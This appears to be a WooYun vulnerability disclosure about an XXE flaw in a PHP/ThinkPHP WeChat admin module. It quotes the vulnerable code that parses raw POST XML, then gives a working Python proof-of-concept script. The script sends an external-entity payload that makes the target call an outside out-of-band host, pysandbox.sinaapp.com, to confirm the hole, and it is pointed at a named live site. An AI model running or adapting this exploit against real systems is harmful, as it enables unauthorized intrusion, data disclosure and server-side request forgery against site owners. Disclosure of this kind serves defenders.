WooYun.org

//Application\Lib\Action\Admin\WechatAction.class.php
<?php
class WechatAction extends Action {
	public function init() {
		import ( 'wechat', APP_PATH . 'Common', '.class.php' );
		$config = M ( "Wxconfig" )->where ( array (
				"id" => "1" 
		) )->find ();
		
		$options = array (
				'token' => $config ["token"], // 填写你设定的key
				'encodingaeskey' => $config ["encodingaeskey"], // 填写加密用的EncodingAESKey
				'appid' => $config ["appid"], // 填写高级调用功能的app id
				'appsecret' => $config ["appsecret"], // 填写高级调用功能的密钥
				);
		$weObj = new Wechat ( $options );
		return $weObj;
	}
	public function index() {
		$weObj = $this->init ();
		$weObj->valid ();
		....剩下的省略

public function valid($return=false)
    {
        $encryptStr="";
        if ($_SERVER['REQUEST_METHOD'] == "POST") {
            $postStr = file_get_contents("php://input");
            $array = (array)simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
		...省略

#!/usr/bin/python
import urllib2
import random
import socket
socket.setdefaulttimeout(10)
def send_xml(url,data):
    import requests
    try:
        requests.post(url,data)
    except Exception, e:
        print e
def poc(host):
    url = 'http://' + host + '/index.php?g=Admin&m=Wechat&a=index'
    key = "".join(random.sample('abcdefghijklmnopqrstuvwxyz', 6))
    value = "".join(random.sample('abcdefghijklmnopqrstuvwxyz', 6))
    data = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://pysandbox.sinaapp.com/kv?act=set&k={key}&v={value}">
%remote;]>
<root/>"""
    data = data.replace('{key}', key).replace('{value}', value)
    send_xml(url, data)
    url = 'http://pysandbox.sinaapp.com/kv?act=get&k=' + key
    res = urllib2.urlopen(url).read()
    if value in res:
        print "xxe"
poc('www.mybuy.so')